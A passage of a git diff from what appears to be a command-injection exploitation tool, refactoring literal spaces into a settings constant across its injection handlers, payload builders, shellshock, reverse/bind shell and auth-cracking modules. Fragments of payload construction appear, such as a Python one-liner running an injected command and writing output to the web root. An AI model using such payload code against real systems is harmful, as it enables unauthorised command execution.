- shell = "".join(str(p) for p in shell).replace(" ", "", 1)
+ shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -244,7 +244,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell).replace(" ", "", 1)
+ shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 0fcf0557d2..ada5cb7ac5 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -56,7 +56,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS
if not settings.LOAD_SESSION:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.VERBOSITY_LEVEL != 0:
@@ -69,7 +69,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
for prefix in settings.EVAL_PREFIXES:
for suffix in settings.EVAL_SUFFIXES:
for separator in settings.EVAL_SEPARATORS:
- if whitespace == " ":
+ if whitespace == settings.SINGLE_WHITESPACE:
whitespace = _urllib.parse.quote(whitespace)
# Check injection state
settings.DETECTION_PHASE = True
@@ -135,7 +135,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
if not settings.TAMPER_SCRIPTS['base64encode'] and \
not settings.TAMPER_SCRIPTS['hexencode']:
- payload = payload.replace(" ", "%20")
+ payload = payload.replace(settings.SINGLE_WHITESPACE, "%20")
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL != 0:
@@ -187,7 +187,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))
if shell == False:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -201,7 +201,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
else:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -248,7 +248,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
- header_name = " " + settings.CUSTOM_HEADER_NAME
+ header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
@@ -279,7 +279,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
- info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
+ info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
@@ -377,7 +377,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# Evaluate injection results.
shell = eb_injector.injection_results(response, TAG, cmd)
- shell = "".join(str(p) for p in shell).replace(" ", "", 1)
+ shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index 760180f8c1..ceb42396fb 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -95,11 +95,11 @@ def injection_test_results(response, TAG, randvcalc):
return False
else:
html_data = checks.page_encoding(response, action="decode")
- html_data = re.sub("\n", " ", html_data)
+ html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data)
if settings.SKIP_CALC:
- shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data)
+ shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
else:
- shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data)
+ shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data)
return shell
"""
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
index fef769ebe5..0b30bc8f5f 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py
@@ -198,7 +198,7 @@ def cmd_execution(separator, TAG, cmd):
def cmd_execution_alter_shell(separator, TAG, cmd):
if settings.TARGET_OS == "win":
if settings.REVERSE_TCP:
- payload = (separator +cmd + " "
+ payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " +
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 4b213359ee..16ba4b9c15 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -177,7 +177,7 @@ def finalize(exit_loops, no_result, float_percent, injection_type, technique):
else:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
return True
@@ -329,7 +329,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0:
percent = settings.info_msg
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -456,7 +456,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
- header_name = " " + settings.CUSTOM_HEADER_NAME
+ header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
@@ -488,7 +488,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
- info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
+ info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
index 82adf5e2d5..fe1a12e63e 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py
@@ -50,7 +50,7 @@ def injection_test(payload, http_request_method, url):
#url = parameters.do_GET_check(url, http_request_method)
# Encoding spaces.
- payload = payload.replace(" ","%20")
+ payload = payload.replace(settings.SINGLE_WHITESPACE,"%20")
# Define the vulnerable parameter
vuln_parameter = parameters.vuln_GET_param(url)
@@ -193,7 +193,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht
if not settings.USER_DEFINED_POST_DATA:
# Check if its not specified the 'INJECT_HERE' tag
#url = parameters.do_GET_check(url, http_request_method)
- payload = payload.replace(" ","%20")
+ payload = payload.replace(settings.SINGLE_WHITESPACE,"%20")
target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)
vuln_parameter = ''.join(vuln_parameter)
request = _urllib.request.Request(target)
@@ -335,7 +335,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec):
response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT)
try:
shell = checks.page_encoding(response, action="encode").rstrip().lstrip()
- #shell = [newline.replace("\n"," ") for newline in shell]
+ #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell]
if settings.TARGET_OS == "win":
shell = [newline.replace("\r","") for newline in shell]
#shell = [space.strip() for space in shell]
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index 25f094f98d..ada7d25040 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -93,7 +93,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
if settings.TARGET_OS == "win":
if settings.REVERSE_TCP:
- payload = (separator +cmd + " "
+ payload = (separator + cmd + settings.SINGLE_WHITESPACE
)
else:
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\""
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index cc598bd8c8..19f21dfa1d 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -94,7 +94,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
if settings.VERBOSITY_LEVEL != 0:
- info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
+ info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
#whitespace = checks.check_whitespaces()
@@ -251,7 +251,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
@@ -299,14 +299,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
@@ -335,7 +335,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
@@ -366,7 +366,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
if whitespace == "%20":
- whitespace = " "
+ whitespace = settings.SINGLE_WHITESPACE
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
@@ -390,7 +390,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
- header_name = " " + settings.CUSTOM_HEADER_NAME
+ header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
@@ -422,7 +422,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
# Print the findings to terminal.
info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via "
- info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
+ info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 78ba02cae3..6f78449373 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -344,7 +344,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
output = "".join(str(p) for p in output)
# Check for empty output.
- if output == (len(output) * " "):
+ if output == (len(output) * settings.SINGLE_WHITESPACE):
output = ""
else:
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index e91c29b87a..bbc78c0e79 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -353,8 +353,8 @@ def shellshock_handler(url, http_request_method, filename):
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
vuln_parameter = "HTTP Header"
- the_type = " " + vuln_parameter
- check_header = " " + check_header
+ the_type = settings.SINGLE_WHITESPACE + vuln_parameter
+ check_header = settings.SINGLE_WHITESPACE + check_header
vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload)
check_header = check_header[1:]
logs.update_payload(filename, counter, payload)
@@ -518,7 +518,7 @@ def shellshock_handler(url, http_request_method, filename):
raise SystemExit()
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
index cea825a68f..21f7f3dba4 100644
--- a/src/core/requests/authentication.py
+++ b/src/core/requests/authentication.py
@@ -167,7 +167,7 @@ def http_auth_cracker(url, realm):
if settings.VERBOSITY_LEVEL >= 2:
print(settings.print_checking_msg(payload))
else:
- sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10)
+ sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10)
sys.stdout.flush()
try:
# Basic authentication
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index b22a4bd401..d174061f9f 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -297,7 +297,7 @@ def get_request_response(request):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -314,7 +314,7 @@ def get_request_response(request):
if not str(err_msg.code) == str(menu.options.ignore_code):
err = str(err_msg) + "."
if settings.VERBOSITY_LEVEL < 2:
- print("\r" + settings.print_critical_msg(err) + 30 * " ")
+ print("\r" + settings.print_critical_msg(err) + 30 * settings.SINGLE_WHITESPACE)
continue_tests = checks.continue_tests(err_msg)
if continue_tests == True:
@@ -323,7 +323,7 @@ def get_request_response(request):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -452,7 +452,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -482,7 +482,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -511,7 +511,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy):
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -584,7 +584,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -614,7 +614,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -642,7 +642,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -716,7 +716,7 @@ def inject_referer(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -746,7 +746,7 @@ def inject_referer(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -775,7 +775,7 @@ def inject_referer(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -851,7 +851,7 @@ def inject_host(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -881,7 +881,7 @@ def inject_host(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -910,7 +910,7 @@ def inject_host(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -989,7 +989,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -1019,7 +1019,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
@@ -1047,7 +1047,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy):
raise SystemExit()
response = False
except _urllib.error.URLError as err_msg:
- err_msg = str(err_msg.reason).split(" ")[2:]
+ err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:]
err_msg = ' '.join(err_msg)+ "."
if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 89a58fd203..8283a9eb3e 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -272,7 +272,7 @@ def other_bind_shells(separator):
with open (output, "r+") as content_file:
data = content_file.readlines()
- data = ''.join(data).replace("\n"," ")
+ data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
@@ -363,7 +363,7 @@ def other_bind_shells(separator):
with open (output, "r+") as content_file:
data = content_file.readlines()
- data = ''.join(data).replace("\n"," ")
+ data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 739849d5fb..0114780b2e 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -406,7 +406,7 @@ def other_reverse_shells(separator):
with open (output, "r+") as content_file:
data = content_file.readlines()
- data = ''.join(data).replace("\n"," ")
+ data = ''.join(data).replace("\n",settings.SINGLE_WHITESPACE)
print(settings.SINGLE_WHITESPACE)
# Remove the ouput file.
@@ -541,7 +541,7 @@ def other_reverse_shells(separator):
for line in unicorn_file:
line = line.rstrip()
if "Magic Unicorn Attack Vector v" in line:
- unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(" ", "").replace("-","").replace("\"","").replace(")","")
+ unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","")
break
except:
unicorn_version = ""
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
index b267fdf1ec..585bf6aa0c 100644
--- a/src/core/tamper/sleep2timeout.py
+++ b/src/core/tamper/sleep2timeout.py
@@ -35,7 +35,7 @@ def sleep_to_timeout_ping(payload):
settings.TAMPER_SCRIPTS[__tamper__] = True
if settings.TARGET_OS != "win":
for match in re.finditer(r"sleep" + settings.WHITESPACES[0] + "([1-9]\d+|[0-9])", payload):
- payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(" ",settings.WHITESPACES[0]))
+ payload = payload.replace(match.group(0), match.group(0).replace("sleep", "timeout") + " ping localhost".replace(settings.SINGLE_WHITESPACE,settings.WHITESPACES[0]))
payload = payload.replace("timeout" + settings.WHITESPACES[0] + "0" + settings.WHITESPACES[0] + "ping" + settings.WHITESPACES[0] + "localhost", "timeout" + settings.WHITESPACES[0] + "0")
else:
payload = payload.replace("powershell.exe" + settings.WHITESPACES[0] + "-InputFormat" + settings.WHITESPACES[0] + "none" + settings.WHITESPACES[0] + "Start-Sleep" + settings.WHITESPACES[0] + "-s", "timeout")
diff --git a/src/utils/logs.py b/src/utils/logs.py
index 2fede93cc3..b537431e64 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -186,9 +186,9 @@ def update_payload(filename, counter, payload):
output_file = open(filename, "a")
if not menu.options.no_logging:
if "\n" in payload:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", " ", _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n")
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n")
else:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", " ") + "\n")
+ output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n")
output_file.close()
"""
diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py
index 07acfa74c6..27a06d64db 100755
--- a/src/utils/session_handler.py
+++ b/src/utils/session_handler.py
@@ -290,7 +290,7 @@ def notification(url, technique, injection_type):
while True:
message = "A previously stored session has been held against that target. "
message += "Do you want to resume to "
- message += "(" + injection_type.split(" ")[0] + ") "
+ message += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") "
message += technique.rsplit(' ', 2)[0]
message += " injection point? [Y/n] > "
settings.LOAD_SESSION = common.read_input(message, default="Y", check_batch=True)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5acf457f74..27b8932025 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
